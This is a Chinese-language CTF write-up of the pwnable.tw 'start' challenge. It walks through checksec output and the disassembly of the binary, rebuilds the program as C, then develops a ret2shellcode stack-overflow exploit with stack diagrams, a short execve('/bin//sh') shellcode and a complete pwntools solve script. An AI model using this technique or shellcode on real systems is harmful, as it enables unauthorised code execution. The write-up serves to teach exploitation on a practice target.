

- ```
kda@kda: /media/psf/Home/Desktop/pwnable.tw/start$ pwn checksec ./start
[*] '/media/psf/Home/Desktop/pwnable.tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
kda@kda: /media/psf/Home/Desktop/pwnable.tw/start$
```

- ```
kda@kda:/media/psf/Home/Desktop/pwnable.tw/start$ ./start
Let's start the CTF:AAAAAA
kda@kda:/media/psf/Home/Desktop/pwnable.tw/start$
```

-
- The screenshot shows the IDA Pro interface with the following components:
- Top Bar:** Library function, Data, Regular function, Unexplored, Instruction, External symbol.
 - Functions window (left):** Lists functions: `_start` and `_exit`.
 - IDA View-A (main):** Displays assembly code for the `_start` function.
 - Address range: `00000060 - 00048060`.
 - Code starts with `public _start` and `proc near`.
 - Stack frame setup: `push esp`, `push offset _exit`, `xor eax, eax`, `xor ebx, ebx`, `xor ecx, ecx`, `xor edx, edx`.
 - Argument pushing: `push 38465443h`, `push 20656874h`, `push 20747261h`, `push 74732073h`, `push 2774654Ch`.
 - Register setup: `mov ecx, esp` (comment: `; addr`), `mov dl, 14h` (comment: `; len`), `mov bl, 1` (comment: `; fd`), `mov al, 4`.
 - System call: `int 80h` (comment: `; LINUX - sys_write`).
 - Return: `add esp, 14h`, `ret`.
 - A red highlight is under the `_start` label.
 - Code ends with `endp ; sp-analysis failed`.
 - Output window (bottom):** Shows the function signature: `00000060 00048060: _start (Synchronized with Hex View-1)`.

- 代码很简单，就只有2个函数，使用F5大法

```

IDA View-A  Pseudocode-A  Hex View-1  Structures  Enums
1 char start()
2 {
3     char result; // a1@1
4
5     result = 3;
6     __asm
7     {
8         int      80h          ; LINUX - sys_write
9         int      80h          ; LINUX -
10    }
11    return result;
12 }

```

- 发现啥都没有，于是我们只能分析汇编代码了

```

text:00048060
text:00048060
text:00048060 public _start
text:00048060 _start proc near
text:00048060     push    esp
text:00048061 ; 4:  result = 3;
text:00048061     push    offset _exit
text:00048066     xor     eax, eax
text:00048068 ; 5:  __asm
text:00048068     xor     ebx, ebx
text:0004806A     xor     ecx, ecx
text:0004806C     xor     edx, edx
text:0004806E     push    ' :FTC'
text:00048073     push    ' eht'
text:00048078     push    ' tra'
text:0004807D     push    'ts s'
text:00048082     push    2774654Ch      ; Let's start the CTF:
text:00048087     mov     ecx, esp      ; addr
text:00048089     mov     dl, 14h         ; len
text:0004808B     mov     bl, 1          ; fd
text:0004808D     mov     al, 4
text:0004808F     int     80h          ; LINUX - sys_write
text:00048091     xor     ebx, ebx
text:00048093     mov     dl, 3Ch
text:00048095     mov     al, 3
text:00048097     int     80h          ; LINUX -
text:00048099     add     esp, 14h
text:0004809C     retn
text:0004809C start endp ; sp-analysis failed
text:0004809C

```

- 首先分析一下下图这段代码

```

text:00048087     mov     ecx, esp      ; addr
text:00048089     mov     dl, 14h         ; len
text:0004808B     mov     bl, 1          ; fd
text:0004808D     mov     al, 4
text:0004808F     int     80h          ; LINUX - sys_write

```

- 将eax设置为4,调用int 0x80,说明这段代码要执行write系统调用，简单的来说就是write函数吧，即write(1,ecx,0x14)

执行完后就打印了Let's start the CTF:这个字符串。

```

text:00048091     xor     ebx, ebx
text:00048093     mov     dl, 3Ch
text:00048095     mov     al, 3
text:00048097     int     80h          ; LINUX -
text:00048099     add     esp, 14h
text:0004809C     retn

```

- 同理这个eax设置为3，调用int 0x80,调用了read系统调用，

即read(1,ecx,0x3c)

- 就此我们已经分析的差不多了，转换成c语言代码差不多就是

```
1  int start()  
2  {  
3      char buf[20]="Let'sstarttheCTF:";  
4      write(1,buf,0x14);  
5      read(0,buf,0x3c);  
6      return exit();  
7  }  
8  
9  int main()  
10 {  
11     start();  
12     return 0;  
13 }
```

- buf的大小是20个字节，而read可以读60个字节,很明显嘛，存在栈溢出漏洞，由于程序没有开启任何保护，且没有其他别的函数，我们可以使用ret2shellcode的办法。要想实现ret2shellcode，我们必须泄漏出栈的地址，根据代码我们可以模拟出栈的内容。

addr	stack
esp	Let'
esp+0x4	s st
esp+0x8	art
esp+0xc	the
esp+0x10	CTF:
ret	exit
esp+0x18	old_esp
old_esp	...
...	...
ebp	...

- 首先第一次溢出我们使程序ret到0x8048087的位置，即我们的payload如下

```
1  payload='A'*0x14+0x8048087
```

- 溢出后栈的内容为：

addr	stack
esp	AAAA
esp+0x4	AAAA
esp+0x8	AAAA
esp+0xc	AAAA
esp+0x10	AAAA
ret	0x8048087
esp+0x18	old_esp
old_esp	...
...	...
ebp	...

- ret后栈的内容为：

addr	stack
esp	old_esp
old_esp	...
...	...
esp+0x10	...
ret	...
...	...
ebp	...

- 执行write函数就可以把old_esp打印出来，然后我们就可以使用ret2shellcode了，但是这里read只有60个字节，而pwn2tools提供的shellcode太长了，用不了我们上网去找个短的shellcode

```

type help ; copyright ; credits
>>> from pwn import *
>>> len(asm(shellcraft.i386.sh()))
44

```

```
1 shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
```

- 第二次溢出我们控制程序执行我们的shellcode

```
1 payload = 'B'*0x14+p32(old_esp+0x14)+shellcode
```

- 溢出后栈的内容为：

addr	stack
esp	BBBB
old_esp	BBBB
old_esp+0x4	BBBB
old_esp+0x8	BBBB
ret	old_esp+0x14
old_esp+0x14	shellcode
...	...
ebp	...

- 解题脚本

```
1 from pwn import *
2 p = process('./start')
3 p.recvuntil(':')
4 payload = 'A'*0x14+p32(0x8048087)
5 p.send(payload)
6 old_esp = u32(p.recv(4))
7 print 'old_esp = '+hex(old_esp)
8 shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
9\xe3\xb0\x0b\xcd\x80'
9 payload = 'B'*0x14+p32(old_esp+0x14)+shellcode
10 p.send(payload)
11 p.interactive()
```